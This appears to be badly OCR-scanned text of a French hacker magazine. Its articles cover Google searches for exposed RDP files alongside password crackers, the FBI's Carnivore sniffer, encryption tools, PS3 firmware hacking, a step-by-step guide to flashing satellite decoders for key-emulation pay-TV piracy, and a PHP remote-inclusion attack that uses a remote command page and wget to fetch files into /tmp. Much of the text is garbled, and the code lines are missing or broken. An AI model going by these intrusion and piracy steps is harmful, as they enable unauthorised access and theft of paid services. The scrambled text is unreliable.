des utilisateurs de YouTube. Mais ce
n'est pas tout ! Voici une opération trés
simple a réaliser avec Google : tapez fi-
letype:rdp dans le champ de recherche
et vous trouverez des fichiers de con-
nexion a un terminal NT directement en

O Un tas de données élait ainsi a la
disposition de tous ceux gui souhaitaient
fes recuelilir

mode graphique. Puisqu'il existe des pro-
grammes comme Tsgrinder ou TScrack
qui permettent de violer le mot de pas-
se administrateur de ce type de session,
Google ferait mieux de tout bien verrouil-
ler, car les fuites de données commen-
cent a étre un peu trop nombreuses.

Damien Bancal

,=;.-';fzrmx:f‘.rf m her et
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¥ arnivore est un program-
Lot me d'interception similai-

~ M re aux sniffers de réseau
b4 communément présents a
ce jour sur le marché. Spéciale-
ment congu par le FBI pour surmon-

@ Camivore Personal Edition est remarqualile
de par sa capacité a personnaliser le fillrage

hackernewsmagazine 1

ter voire contourner les questions lé-
gislatives (certains tribunaux peuvent
donner leur autorisation pour sur-
veiller uniguement certaines adres-
ses de courrier électronique, tan-
dis que d'autres peuvent autoriser
une acquisition totale, le FBI a donec
preferé avoir les mains totalement
libres), cet outil s'est en fait réve-
Ié étre moins invasif et omniprésent
que l'on ne pensait, de par notam-
ment la lutte contre le terrorisme
qui a fait naitre de nouvelles cibles.
Carnivore n'est plus utilisé par le FBI
depuis 2005. En fait, il n'a été utili-
se que 25 fois entre 1998 et 2000.
Ce qui n'entache nullement ses qua-
lités puisqu'il reste un bon program-
me par rapport aux fonctions qui lui
sont demandées. Tant il est vrai que
Carnivore, sorti a I'époque dans le
plus grand secret, est aujourd'hui
disponible pour nos PC domestiques.

570 <
eﬂarmmm na plus aucun secret
=¥ Un peut méme Iinstaller sur
San propre ordinateur.

:: L6 ceur de GCarnivore

Le systeme d'interception re-
pose sur un ensemble de fil-
tres extremement puissants que

dis que Carnivore Personal Edi-
tions'avere étre un excellent outil

pour analyser le trafic de son propre
- réseau et renforcer son efficacité,
‘nous vous déconseillons vivement de
our jouer au chat et a la sou-
I le courrier électronmigue et
: itrui est formellement in-
terdit et 'on y risque vrarment gros.




| LA NATURE
DE CARNIVORE

f2omme |'a raconté Donald Kerr

(ex-assistant du Directeur du
FBI) a la presse :
vaille plus ou moins comme un snif-
fer commercial utilisé par les ISP au

quotidien, mis a part le fait que ce

dernier peut filtrer le trafic de fagon
sélective et capturer uniguement ce
qui nous intéresse, grﬁce a des fil-
tres spécifiques qui étaient prépa-
al en fonction du mandat é-

“Carnivore tra-

lifier, Carnivore
ipture pas u quement le trafic
contenant des mots comme “bom-

be” ou “hacking”, mais peut cap-
turer tout le trafic provenant d'une
seule adresse e-mail ou d'un cer-
tain numéro IP. Bref, ¢c'est une sor-
te d'analyseur de réseaux trés spé-
cialisé qui fonctionne comme une
simple application sur un PG tour-
nant sous Windows”

I'utilisateur peut gérer a son
tour en les combinant entre eux.
Voici certains types de filtres dont dis-
pose Carnivore...

- Adaptateurs réseau : un systéme
pourrait utiliser plusieurs adaptateurs
réseau a la fois ; pour le sniffing, on ne
peut en sélectionner qu'un 2 la fois.

- Taille du fichier d'archive : il est pos-
sible de paramétrer une limite pour la
quantité de données acquises ; la con-
figuration normale prévoit d'acquérir
des données jusqu'a ce que le disque
soit plein.

- Utilisation totale de la mémoire : le
trafic peut parfois étre supérieur a la
vitesse d'écriture sur le disque : la mé-
moire est donc paramétrée séparé-
ment pour introduire dans le buffer les
données arrivées, sans perdre ne se-
rait-ce qu'un byte.

- Adresse Ip statique : il est possible
de filtrer le trafic provenant d'une sé-
rie de numéros IP ou dirigé vers cet-
te série. De cette fagcon, si par exem-
ple la cible a une adresse IP statique
1.2.3.4, le FBI peut facilement obtenir
un mandat qui lui permet d'exécuter un

sniffing sur I'ensemble du trafic géné-
ré par cette personne. Un mandat qui
permet de surveiller uniguement le tra-
fic spécifique en utilisant par exemple
SMTP sur TCP.

- Chaines de texte dans les données :
c'est I'une des fonctions les plus puis-
santes du programme ; elle permet de
chercher des mots-cles dans le trafic.
Un mandat pourrait specifier les mots
a surveiller dans le trafic, ce qui est
formellement interdit aux Etats-Unis.
C'est pourquoi le FBI a interdit dés le
début que Carnivore soit doté d'une
telle fonction (mais ensuite...).

- Ports : il est possible de spécifier une
liste de ports TCP et UDP a surveiller ;
par exemple, si le FBI obtient un man-
dat pour surveiller le courrier électro-
nique d'une ou plusieurs adresses, les
ports spécifiés pourraient étre le 25, le
110 et le 143.

- Adresse e-mail SMTP : Carnivore
surveille le serveur d'un fournisseur
d'accés en refusant tous les e-mails
sauf celui de la personne soupcon-
née, puis trace une session de courrier
electronique jusqu'a trouver l'adresse
e-mail de celui ou celle sur qui pése
les soupgons.

- Adresses IP dynamiques : si Carni-
vore ne dispose pas d'adresse stati-
gue, qu'il peut suivre a tout moment, il
logue un éventuel numéro IP dynami-
que lors de sa connexion et de sa dé-
connexion, pour tenter de tracer avec
succes le prochain numéro IP qui se-
ra adopté par la machine.

Carnivore a fait I'objet d'une utili-
sation somme toute resireinte, et
rares sont les medias qui en par-
lent aujourd’hui. Attention toutefois
car il a change d'identite a un cer-
tain moment. En effet, pour dérou-
ter la presse qui critiquait cette me-
nace pour la confidentialité des don-
nées, le FBI a rebaptisé Carnivore
sous le nom de DCS1000. DCS1000
et Carnivore sont en fait de parfaits
jumeaux, mais son dernier nom son-
ne bien plus doux a l'oreille : "Digital
Collection System". Un changement
qui ne I'a pas rendu plus utile pour
autant. A la mi-janvier 2005, le FBI a

abandonné guasi définitivement Carni-
vore, en faveur de programmes commer-
ciaux plus puissants et plus polyvalents.

@ Carnivore est un sniffer : il conirdle et
recupere les données qui transifent par les
réseaux

Ainsi, tous les financements destinés
au développement de Carnivore n'ont
été pour la plupart gu'une perte de
temps et d'argent.

Carnivore Pour tous

TESTEZLE |

CARNIVORe us ceux qui souhaitent
‘9’ tester Carnivore peu-
vent récupérer une Perso-

nal Edition a la section Toolpack Down-

 load du site de HNM. Nous ne pouvons

pas savoir si la Personal Edition con-
tient toutes les fonctions réellement uti-
lisées par la version originale de Carnivo-
re, mais ses fonctions d'analyse du tra-
fic de réseau sont trés similaires. A tester
impérativement ! Sachez en outre que le
projet FOIA rassemble actuellement des
documents sur Carnivore : une lecture
intéressante pour comprendre ce
présenté Carnivore et compren-
ssi quelle était la menace réelle.
éder 4 ces informations, nous
vous invitons a vous rendre 2 a section
susmentionnée.

i
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Quatre) programmes}
[ratuitsy pour

masquer vos) fihiersi

out le monde aujourd’hui est
4 la recherche d'une sécuri-
{é accrue dans les systéemes
informatiques et sur Internet.

WAXCRYPT

‘avantage de MaxCrypt, c'est qu'il

travaille de fagon transparente :
chaque fichier, dossier voire des disques
entiers sont codés lorsqu'on éteint I'or-
dinateur, et décodés lorsgu'on lance le
programme (ce qui peut étre fait auto-
matiquement au démarrage de l'ordi-
nateur). De cette fagon, les fichiers sont
toujours accessibles lorsque |'utilisa-
teur légitime travaille sur son ordinateur,
mais ne peuvent étre lus par un autre uti-
lisateur ou par quelgu'un qui déroberait
le disque dur ou toute I'unité centrale.

H lﬂs outils

1l faut avant tout rechercher un
software de ce type en fonction des
exigences de l'utilisateur : dans le
tilisateur privé qui doit
- cacher un dossier ou




FOOTPRINT

ans un monde oi les program-

mes se ressemblent, voici guel-

que chnse d'original, bien pensé et

= SUrtoutgra-

s tuit, Zero

Footprint

Crypt a

pour princi-

pal objectif

de ne lais-

Ser aucune

trace sur le disque (footprint). Pour

cela, il peut supprimer de fagon sé-

curisée les fichiers aprés les avoir

codés, tout en réduisant au minimum

la nécessité de les décoder en vue de

leur utilisation. Un module d'affichage

de fichier interne permet de voir des

images ou des vidéos en les lisant di-

rectement a partir du fichier code,

sans avoir besoin de les enregistrer

d'abord en clair sur le disque dur. Tout

simplement génial. L'algorithme utili-

sé (blowfish) est suffisamment com-

plexe pour semer la panigue méme

aupres des services secrets. Une so-
lution indispensable, donc.

wwuw.baroufasoft.net/zerofootprint1.him

= 'acnnse ue
- jnlus sur

= "'_ Pour une protecﬁnn-

Echangees surfe

Net, il existe des

des erreurs commises ‘par dé

_ _'numbreux ‘novices consiste a cacher
- ou crypter un flchler,, tout en en lais-
- sant une trace en différents endroits
~ du disque dur, par exemple en dépla-
= 'gant le fichier original dans la corbeille
__ etenlelaissant 13, ouen l'effagant sim-
: 'p!ement en wdant Ia corbenlle de Win-

L;interiace est un peu hard, et les

ptions a paramétrer ne sont pas

lles non plus Mais

s'ilen faut

plus pour

vous re-

buter, Ri-

pcoder

est un

programme trés puissant qui utilise des

algorithmes de chiffrage trés complexes,

come 1st, Blowfish, TripleDES et DES+.

Ce dernier étant pratiquement inattaqua-

ble si le fichier a coder est tres volumi-

neux (et si son mot de passe est un tan-

tinet complexe). Son utilisation est gra-

tuite, mais en faisant un don, vous re-

cevrez la documentation compléte ainsi

qu'un dll persennalisé, sans lequel les fi-

chiers ne peuvent étre ouverts, pas mé-
me avec le mot de passe.

http://kach.nm.ru/

u méme fabricant que pour Iron

Key, Kryptel Light est la version li-

mitée et gratuite d'un programme com-

mercial plus

traditionnel.

Le fichier est

codé avec

I'algorithme

DES, et peut

aussi étre immédiatement supprimé de

facon sécurisée. Kryptel Light s'intégre

dans le systéme d'exploitation, en per-

mettant de coder des fichiers a l'aide du

seul bouton droit de |a souris, ou bien en

glissant ces derniers sur I'icone du pro-

gramme. Il peut également s'intégrer a

d'autres programmes lancés par la mé-

me boite, comme Iron Key, pour renfor-
cer encore la sécurité.

www.krypiel.com/products/krlite/
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SONY

conire

HAGKERS

oy interdit de Loueher 4 la
Hle semble oublier que tout acheteur est en droit

Playstation o

(e disposer de son bien comme il fentend..

ony n'a jamais été tres ten-
dre a I'égard des hackers. Et
I'a déja prouveé a maintes re-
prises, du rootkit caché dans
les CD audio "pour protéger les utilisa-
teurs" jusqu'a la bataille pour empécher
le développement de softwares indé-
pendants sur la PlayStation Portable.

On a ainsi I'impression que dés que
quelque chose se vend bien, il faut im-
médiatement couper les ailes a ceux
qui veulent l'utiliser a d'autres fins que

Du cotE DE
CHEZ SoNY

e mieux que nous puissions faire
en tant que société, c'est renforcer
nofre sécurite et intenter a tout va des
actions en justice contire toute person-
ne qui serait prise en train de pénétrer le
systéme en toute illégalité.
— Dave Karraker, porte-parole de Sony
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celles reconnues "officiellement". Car
c'est au tour, cette fois, de la PlayS-
tation 3 (qui soit dit en passant ne se
vendrait pas aussi bien que c¢a, face a
la Wii de Nintendo qui fait un véritable
carton, méme si dans l'absolu ses ven-
tes restent élevées).

La PlayStation 3 est protégee com-
me il se doit. Mais les hackers tra-
vaillent d'arrache pied pour suppri-
mer ces protections et I'on voit dé-
ja apparaitre les premiers résultats.
C'est ainsi que Sony a commenceé a
brandir I'épée de Damoclés.

Quant aux hackers, tout ce gu'ils ont
reussi a faire, c'est cracker les ver-
sions 1.10 et 1.11 du micrologiciel de
la PlayStation 3 et forcer le boot de
jeux copiés.

Techniquement parlant, c'est un resul-
tat tout a fait exceptionnel, avec des
volontaires qui battent sur leur propre

terrain des professionnels payés de
fortunes... Mais pas de quoi foue
ter un chat, point de vue "piratage

O Une excellente consale. Alars pourquo
faire la guerre aux hackers et payer des
avocats au lieu de payer des ingénieurs et
créer un produit hors du commun ?




ne fois, nous avons entendu dire

que ceux qui pirataient des con-
soles n'étaient autres que des petits
malins gui voulaient juste jouer sans
débourser un centime. Une mise au
point s'impose. D'abord, en allant foui-
ner dans le hardware et le software, la

garantie expire immédiatement et si la
console tombe en panne, c'est direct la
poubelle ! Deuxiémement, une mauvai-
se manip sur le micrologiciel risque de
rendre la machine définitivement inuti-
lisable ; enfin, Microsoft (Xbox) et So-
ny ont déja mis en place par le passé le
blocage des acces des consoles modi-
figes a leurs réseaux de jeu online res-
pectifs. Bref, ceux qui font des expé-
riences sur leur console risquent tout
simplement d'y laisser leur portefeuille.

Lancer un jeu n'‘est pas la méme chose
que jouer a un jeu, loin de la. Jusqu'a
présent, les hackers ne sont parvenus
ni & jouer avec des jeux copiés, ni & fai-
re tourner des softwares indépendants
non autorisés par Sony. En d'autres
termes, ils n‘ont commis aucun ac-
te de piratage. Leur travail ne peut

g

étre utilisé pour vendre des jeux
copies (qui ne fonctionneraient pas),
ni méme pour vendre les jeux de Sony
sans autorisation de cette derniére.

Bref, Sony n'a subi aucun préjudice
suite a ces opérations. Alors pour-
quoi toute cette colére et ces mena-
ces ? La volonté de répression est
bel et bien la. Chez Sony (mais la
question pourrait s'étendre a de nom-
breux autres groupes), on ne s'inté-
resse pas plus que ¢a au piratage.
C'est juste que la, dehors, un groupe
de personnes ne se contente pas de
jouer comme le recommande maman
Sony, mais veut aller plus loin.

Game

v PSSNEWS™
6/17/2007 8:14 PM

@ Une fenétre de Ia PlayStation 3 crackée
par Placasaft

Au-dela des frontieres, pour inventer de

nouvelles fagcons d'utiliser une conso-

le video. Console, est-il nécessaire de

le souligner, qui a été payée. Ceux qui

ont acheté leur console de-

vraient étre libres de la

démonter pour y faire

ce qu'ils souhaitent, a

partir du moment ot

ils le font pour leur
usage personnel.

On peut parfaite-

ment comprendre

gue la garantie expire

dés lors qu'on ouvre

le capot ; mais que

l'on devienne hors-la-

loi parce qu'on souhai-

te etudier le fonctionne-

ment de la procédure de

boot, alors non ! De plus, la

liberté de faire des copies de

sauvegarde de ses jeux, pour

© La garantie expire-t-elle
aussi quand an cuisine des
saucisses dans une PS3 1?1

(®@®® [TT7) HACKING

LA GUERRE Du
NicRoLogICIEL

es hackers ont cracké le fir-

mware PlayStation 3 version
1.10, mais a la mi-juin, Sony a
sorti la version 1.81 !
Alors pourquoi tout ce brouha-
ha? Parce que les progrés initiaux
sont les plus difficiles. Il y a fort
a parier que d'ici la fin de I'an-
née, les hackers auront récupéré
leur retard...

un usage personnel, est garantie par tou-
tes les lois de toutes les nations civili-
sées.Mais Sony ne comprend pas cela et
ne veut pas le comprendre, en commet-
tant erreur sur erreur. Des erreurs qu'el-
le finira bien par payer un jour ou l'autre
en s'apercevant qu'il vaut peut-étre mieux
vendre ce que les gens veulent, plutot
que dimposer ce qu'elle veut elle.

Reed Wright
r33dwright@gmail.com

LA FAILLE
DANS xWB

I'heure ol nous écrivons, les

détails du hack effectué sur la
PlayStation 3 n'ont toujours pas été
dévoilés. Vous pouvez toutefois aller
sur http://tinyurl.com/2c5yjb pour
y voir une vidéo de la PS3 hackée,
tandis que hacked2123 lance un jeu
a partir d'un disque de sauvegarde.
Pour exploiter la faille, il faut un gra-
veur Blu-ray et avoir connaissance
d'un probléme sur le software d'ins-
tallation Other0S. Le systéme ne vé-
rifie pas le SELF (formateur de dis-
gue) ou il est exécuté, et en utilisant
un SELF provenant d'un SDK, récem-
ment sorti en secret des laboratoires
Sony, on parvient & exécuter le boot
de la PS3 dans un mode spécial, qui
authentifie le disque méme s'il s'agit
d'un backup.
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Vous vous demandez slrement ce
qu'est un “micrologiciel” ?
C'est 'ensemble des fonctions logi-
ques qui résident dans un semi-con-
ducteur soit en tant que topographie,
a savoir I'ensemble des fonctions di-
rectement implémentées en logique
pure sur le die (circuit in-
tégré), soit en tant
gue software a
proprement dit,
généralement
situé a l'in-
terieur d'une
meémoire
ROM ou EE-
PROM.

n22 hackermmewsmagazine

En d'autres termes, il s'agit de I'ensem-
ble des instructions qui font interagir
hardware et software.

Ces vieux decodeurs “GoldBox” étaient
vendus avec un CAM SECA intégré,
capable de décoder uniquement des
emissions utilisant ce systeme. lls ne
fournissaient gu'une mémoire restrein-
te valable pour 999 canaux et permet-
taient de gérer une seule antenne pa-
raboligue. Aujourd'hui, avec les modifi-
cations a notre disposition, nous som-
mes parvenus a faire supporter a la mé-
me machine (sans aucune madification
hardware) plus de 4 000 canaux mé-
morisables, I'émulation des KEY (plus
communément appelée mod “EMU”) et
l'utilisation de tous les plus grands sy-
stémes de codage (plus communément
connus sous l'appellation mod “ALL-
CAM”) ainsi que la gestion d'un ou plu-
sieurs équipements motorisés.

Matériel nécessaire pour effectuer ces
opérations de modification :

— Décodeur Strong 8000/8100
— Cable série pin to pin 9 pbles ma-

le/femelle
— Céable paralléle pin to pin 25 po
méle/male
— MediaBox Loader Software (freews
— Ordinateur avec systéme d'exp
tation Windows (Hélas pour Lin
aucun porting n'a éte effectué p
les programmes que nous utili
rons)

— Micrologiciel de debloca
(da3ned3 pour le strong 8000 /
Ifix pour le modele 8100)

— EdStrong (si vous souhaitez ég
ment modifier la liste des canaux)

Une question vous vient alors t
de suite a l'esprit : comment §
voir si mon décodeur est un Strd
8000/8100 ?

On peut dire en gros qu'une bo
partie des vieux décodeurs “GoldB
sont compatibles. Mais malheureu
ment, ils ne le sont pas tous | Voic
meilleure procédure pour en avoi
ceeur net :

1) Branchez les cables paralléle et sé
du récepteur au port de votre PC ;
2) Démarrez votre PC ;




3) Dans le panneau de configuration
de Windows “Imprimantes et Télé-
copieurs”, installez (si absente) une
imprimante “générique/texte unique-

Installasione guidata starmpante

Installs softwae stampante
vd sopante de wicree in bave 4 prod,

ment” et paramétrez-la par défaut.

4) Lancez le programme MediaBox
Loader en sélectionnant dans le menu
deroulant le port série auquel vous avez

branche le cable (COM1/COM2)

5) Appuyez simultanément sur les tou-
ches “Pers” et la fleche de droite “-->"
sur le panneau amovible du décodeur

et maintenez-les pressées tandis que
vous allumez l'appareil depuis linter-
rupteur a droite (bouton ON/OFF)

6) Si cette opération a été effectuée
avec succes, I'écran du décodeur affi-
chera "“CHA” : mode pour la reprogram-
mation du micrologiciel.

Dés lors, si vous avez effectué cor-
rectement tous les points précédents,
la fenétre du Loader affichera alors une
réponse de ce genre :

Mediahox L oader

File Com Start

FLASH AD
FLASH AD

non reconnus

222 HACKING

Sila réponse d'input ne correspond pas
a celles de la figure, alors désolé de
vous l'apprendre mais votre vieux dé-
codeur ne fait pas I'affaire. S'il est en
revanche compatible, alors accrochez-
vous, car ¢a va decoiffer ! (P.S. : dans
le cas ci-dessus, le modéle de boot du
récepteur Strong 8000 est un mode-
le disposant de deux mémoires flash
reconnues ; si une troisieme mémoire
était en revanche présente, elle serait
signalée par un affichage de ce type :
[Flash ADR=a1300000 M29W800B]).
La présence de deux ou plusieurs mé-
moires flash est bien sir déterminante
dans le choix d'un modele approprié de
micrologiciel.

| =diahan Lo ader [

Pour la premiére reprogrammation du
récepteur, vous devez “flasher” (instal-
ler) un micrologiciel de déblocage de
fagon a permettre des modifications et
reprogrammations successives.

Si votre décodeur est un modele
Strong 8000, vous devez téléchar-
ger le micrologiciel “da3ned3”, et le
“fullfix” dans le second cas.

Pour effectuer cette premiere opéra-
tion, vous devez executer les points
precedemment décrits jusqu'a ce que
vous obteniez une réponse de boot du
decodeur dans le MediaBox Loader et
jusqu'a ce que votre récepteur soit en
mode “CHA” (point 6). Cliguez ensui-
te sur File ---> bin_file_to_load ---> sé-
lectionnez le micrologiciel de déblo-
cage adapté a votre modgle ----> Ou-
vrez et, si les points précédents ont été
effectués correctement, appuyez sur
“START”.

N'éteignez surtout pas votre PC ni vo-
tre décodeur tant que I'opération n'est
pas achevée, sous peine d'endom-
mager irrémediablement votre récep-
teur (interrompre le branchement en-
tre les 2 est également fortement )
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déconseillé. Patientez quelgues minu-
tes et lorsque le MediaBox Loader af-
fichera un message semblable a ce-
lui-ci :

clef arrét

fin de transfert paralléle

DEUR

vous pourrez éteindre le décodeur (par
I'intermédiaire du switch présent sur
le panneau amovible), débrancher les
cables et le relier a la parabole pour
voir si 'opération a été menée a bien.
Si c'est le cas, votre décodeur sera en-
fin “débloqué” et prét, a travers la mé-
me opération, a “télécharger” des mi-
crologiciels prodigieux tels que Sat-
Trackert ou le R3volution du Teamita-
lianStrong (ces micrologiciels permet-
tent de memoriser de nombreux ca-
naux, d'apporter un support pour co-
dage NDS et tous les autres, d'émuler
des clés, efc., efc.).

Essayons désormais de modifier
une liste de canaux. Cette opéra-
tion vous permettra en effet de mo-
difier directement de votre PC (sans

pour Strong 8000 du “SuperSayan” du
TeamltalianStrong ;P)

Par l'intermédiaire des menus,
vous pouvez des lors modifier, sup-
primer, ajouter, déplacer des ca-
naux ou bon vous semble...
Une fois la liste de canaux correcte-
ment modifiée, enregistrez-la sous le
nom gue vous souhaitez en cliquant
sur “File” (Fichier)---> “Save as" (En-
registrer sous) et téléchargez-la dans
le décodeur selon la méme procédu-
re ayant servi a installer les micro-
logiciels (si vous utilisez un Strong
8000, nous vous conseillons lorsque
vous modifiez la liste de canaux d'in-
staller & nouveau le micrologiciel
“‘da3ned3’, d'installer éventuellement
le nouveau micrologiciel [es. SaTrac-
kert, R3volution...] et de procéder a
I'installation de la liste de canaux.)

.: Sat-Hacking

Ce petit guide n'analyse qu'une
infime partie du potentiel dont on
peut affubler un décodeur de ce
genre.

Com | Decotler

@ v6.3k EDStrong Strong8000/Strong8100/Nokia930x
& Jag Firmware Informazion

Bl

sddzionsl MHW EPG Lingua Aluto

utiliser la télécommande) la liste et
la numération des canaux de votre
decaodeur.

Pour cela, ouvrez EdStrong :

Cliquez sur “File” et ouvrez une liste de
canaux compatible avec la version de
votre décodeur (vous obtiendrez les in-
fos qui vous permettront de trouver la
liste des canaux dans 'ENCADRE ci-
contre).

Une fois la liste de canaux initialisée,
vous trouverez une liste de ce genre
(I'exemple pris ici, présente une liste
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Bien str pour des raisons d'espace, nous
avons di aller & I'essentiel. A vous de sui-
vre sur Internet, les tchats, newsgroup et
forums I'évolution de cet art phénoménal
mélangeé a |'€électronique : le Sat-Hacking.
Au début, vous aurez sans doute quelques

craintes et rencontrerez quelques diff
tés pour utiliser ces procédures. Mais
de panique, avec un peu d'expérig
(vous aurez stirement envie de faire
ques essais, pas vrai ?), vous finirez|
les effectuer machinalement. Pour
voici la photo d'un decodeur miracu
(ou mieux, un ordinateur normal) ;) :
deve
ste sa
. qu'il t
I ne si
Linux
spose donc d'un micrologiciel opens
ce et qu'il constitue a lui seul le par
des sathackers... Voici quelques-une
ses caractéristiques hardware :

- 250 MHz PowerPC Processor (350
ps)

- Linux opensource (most parts unde
the terms of GPL)

- Supports Linux Standard API (Direg
FB, Linux-FB, LIRC)

- 1 x DVB Common-Interface Slot

- 2 x Smartcard-Reader

- Integrated Compact Flash Interface
Slot

- MPEG2 Hardware decoding (fully D
compliant)

- 10/100 MBit compatible Ethernet Int
face

- modem

- USB Port

- 32 MByte Flash

- 96 MByte RAM

- Support for internal HDD in any capj
city

- channel-change time < 1 second

Salut a tous et bon hacking |l
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Bananasereenfaryive)!Lefpremieqis

mwwmwg@@ﬁ
biometiqueypous;

Simple d'utilisation : tout ce dont vous
_avez besoin, c'est de votre webcam
et de votre sourire le plus éclatant. La
toute nouvelle société suisse Bana-
na Security est en effet sur le point de
mettre gratuitement online un petit pro-
gramme 2 l'avenir prometteur.
Son nom ? BananaScreen. C'est un
outil de reconnaissance faciale, en
version béta, qui active et désacti-
ve votire PC grace a une webcam. La
biometrie devient presque a la portée
de tous !

"Qui ! Dans le cadre familial, il
est plus que suffisant. On ne I'utilise-
ra certes pas pour la sécurité d'une
entreprise, dans la mesure ol la bio-
métrie faciale dépendant d'une simple
webcam est trop influencée par le ca-
dre environnant. En effet, d'éventuel-
les variations de luminosité ambiante,
la présence d'objets juste derriére le
visage de l'opérateur et bien d'autres
facteurs, peuvent comprometire la re-
connaissance. Mieux vaut donc desti-
ner ce produit & un usage domestigue,
car chez soi, il est beaucoup plus facile
de laisser l'ordinateur dans un endroit

el reconnaissance

alfamill

facilement contrélable... comme de-
vant un mur blanc, totalement nu, avec
un arriere plan sans interférence.

il vous suffira juste de détruire tou-
tes les photos qui pourraient servir de
masgue aux petits pirates, car le pro-
gramme se laisse duper... En effet, il
blogue la session en cours unique-
ment si la webcam ne reconnait pas
sen proprietaire.

Lavenir de BananaScreen ? Les mem-
bres de I'equipe déclarent que : “deux
nouveaux produits seront proposés,
BananaSwitch et Banana Server.

Le premier, en tant gue version amé-
lioree de BananaScreen : il permet-
tra d'identifier différents utilisateurs
et d'ouvrir leur session personnelle.
Quant au second, il sera directement
proposé aux entreprises”.

o TESTEZLE

Vnus pouvez télécharger et tester la
version béta de BananaScreen a
la page du Toolpack Download de no-
tre site.

CODE SECRET :

C41RR3

WWW.HACKERMAG.COM
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: tupeur et inquiétude la semaine
g derniére, lorsque l'un des ser-
veurs les plus importants du
. 4 pentagone a été violé. Ce ser-
veur tournant sous Linux, hébergeait éga-
lement le serveur de messagerie central,
outre le fait de mettre en ligne des archi-
ves uniguement consultables par les em-
ployes une fois logués.
De toute évidence, le routeur Cisco qui fil-
trait ports et services n'a pas suffit. Un pi-
rate informatique a donc pu copier en tou-
te quietude 20 % de l'un des 4 disques
de 2 Teraoctets. Il se serait introduit en
utilisant la simple technique du PHP-IN-
CLUDE.
Une machine a la sécurité, disons-le, plus
gu'execrable, puisqu'elle utilise encore
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aujourd'hui apache 1.3.33 sans aucun
module pour la protection et le filtrage
d'input/output requis par le biais de l'inter-
préteur php.

- Qu'est-ce que I'NCLUSION PHP ?
LINCLUSION PHP, entendue comme
bug, est une absence dans la programma-
tion web du langage PHP. Comme le révé-
le le terme lui-méme, le bug est contenu
dans la fonction “include” de php et per-
met linclusion a distance de fichiers.

Il est donc facile de comprendre gue si
l'on peut inclure un fichier a distance, on
pourrait alors exécuter un code arbitraire
a lintérieur de la machine, et obtenir ainsi
des output par rapport aux input fournis.
Cette technigue ne dialogue pas avec le

e meilleur systéme de defense
au monde mis en peril Suite

une inclusion PHP.

“‘démon” (apache, mysql, etc.), maig
dialogue directement avec le langa
ge. Toute tentative de filirage est dong
déjouee.

- Trouver la vulnérabilité et écrire u
patch pour combler la faille. Comme
nous l'avons dit, la vulnerabilite de cer
tains sites web en php, peut proveni
de la declaration incorrecte d'une va
riable a l'intérieur d'un include. Suppo
soNns gue nous ayons ensuite un index
ou un include est utilisé a l'intérieur,
la page appelee “page.inc.php”.

<?
include (“$page.inc.php”);
7> i




CITATIONS

Références aux outils t:i"t_-é_s >

PHP - Hyperiext Prucassnr
WWW. php net

'MudSucurlty Open Saurne Weh
Application Firewall
www.modsecurity.org

Linux Kernel
www.kernel.org

GNU wget
www.gnu. orgfsoftwarefwgetf

Comme on peut le voir, cette inclusion
peut étre rappelée a distance a des fins
plus ou moins malveillantes.

Certaines astuces peuvent toutefois étre
appliquees pour empécher toute éven-
tuelle exploitation de cette vulnérabilité en
agissant sur les configurations de l'inter-
preteur PHP ou méme sur le serveur web.
Nous vous conseillons toutefois d'utiliser
un patch directement dans le code.

Pour revenir & I'exemple précédent, un
patch peut étre rapidement écrit pour I'in-
clusion, en utilisant par exemple :

S $.pa=§s_'='

Linclusion est ainsi sécurisée, mais peut
toutefois permettre des attaques de type
“répertoires transversaux”. Il serait donc
nécessaire d'écrire deux régles.

A priori, on peut éviter ce probléme en uti-
lisant certaines astuces dans les parame-
tres de l'interpréteur et dans la configura-
tion du serveur web.

Concernant l'interpréteur, il faudrait acti-
ver safe_mode, une fonction gérée par le
fichier php.ini. Ainsi, le script php ne peut
ni lire ni inclure de fichiers qui n'appartien-
nent pas aux utilisateurs qui exécutent le
script php.

Le serveur web pourrait en revanche
adopter un outil qui contréle les deman-
des, en les bloguant ou en les laissant

filtrer en fonction des regles fixées.

Parlons maintenant de mod_security, un
projet open source qui s'interface comme
module au serveur web Apache. Un pro-
jet en constante évolution. Voici ses prin-
cipales fonctions : logging du trafic HT TP,
surveillance en temps réel et détection
des attaques, prévention d'Attaques et
Patching. Bref, un bon projet, offrant un
excellent service, et qui plus est, flexible !

- Comment peut-on exploiter une IN-
CLUSION PHP ?

Exploiter une vulnerabilité ? Rien de plus
simple bien s(r ! Il suffit de réaliser une
page en php a utiliser comme outil d'in-
clusion qui vous permette d'exécuter des
commandes a distance.

Ce code géneére l'ouverture d'un shell
(background) a l'intérieur d'une machine,
et en l'incluant par le biais d'une fonction
include () bugguée, permet d'exécuter un
code arbitraire et d'obtenir l'output de ré-
ponse, en l'utilisant ensuite de la facon
suivante, pour que le code inclus exécu-
te les commandes requises dans le ser-
veur vulnérable :

Ouindex.php représente la page contenant
linclusion vulnérable, ${website2} est le
domaine de support pour la page php qui
permet l'exécution de la commande (emd.
php), ${website1} est le domaine conte-
nant la page avec une inclusion vulnérable
et ${commande} est la commande d'input
que vous fournissez au serveur.

Comme nous le disions, l'ingertion des
commandes peut étre réalisée en insé-
rant les parametres aprés cmd= ed. Bien
sdr, les privileges d'exécution sont ceux
du serveur web.

Par conséquent, si vous souhai-
tez par exemple entrer dans le réper-
toire /tmp et créer un nouveau dos-
sier appelé “X” pour télécharger
a lintérieur du dossier un fichier & exécu-
ter, vous taperez :

Une fois cette opération achevée, il suffira
de quelgues secondes pour voir les out-
put de wget que le fichier a téléchargés a
l'interieur du dossier.

- En pratigue : exemple d'attaque subie
par le pentagone

- Conclusions

Comme nous l'avons déja dit aupara-
vant, remédier a un probléme si ré-
pandu et peu traite, peut étre simple
. il suffit d'appliquer quelques outils
spécialisés dans la sécurité. M

&cas“serceﬁe.hgne de'co'rle.
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"Z6ro jour,” e saint graal e tous
les experls charges de la
Securite d'un systeme

e terme Oday est respective- matiere de sécurite.

ment composé de 0 et de day, Si 19 services tournent sur un

littéralement prononcé zero-  serveur, le taux de probabi-

day, et signifie “zéro jour”. lité qu'il soit viole est alors
Généralement, les 0Odays sont des beaucoup plus éleve que
exploits qui ne sont jamais dévoilés sur une machine faisant
publiguement par les chasseurs de  tourner un seul service.
vulnérabilités. Constamment recher-
chés et tres rares, ils permettent de  Sil'on parle en revanche
s'infiltrer dans des systémes par le de Oday, le pourcentage
biais de bugs méconnus des profes- en matiére de vulnerabi-
sionnels de la sécurité informatique, lités est totalement incon-
et sont donc infaillibles. Il est pres- trélable puisqu'elles sont
que impossible d'avoir une machine dans tous les cas mecon-
ou un dispositif str & 100 %. La seu- nues des professionnels
le chose que l'on puisse faire, con- de la sécurité qui, genéra-
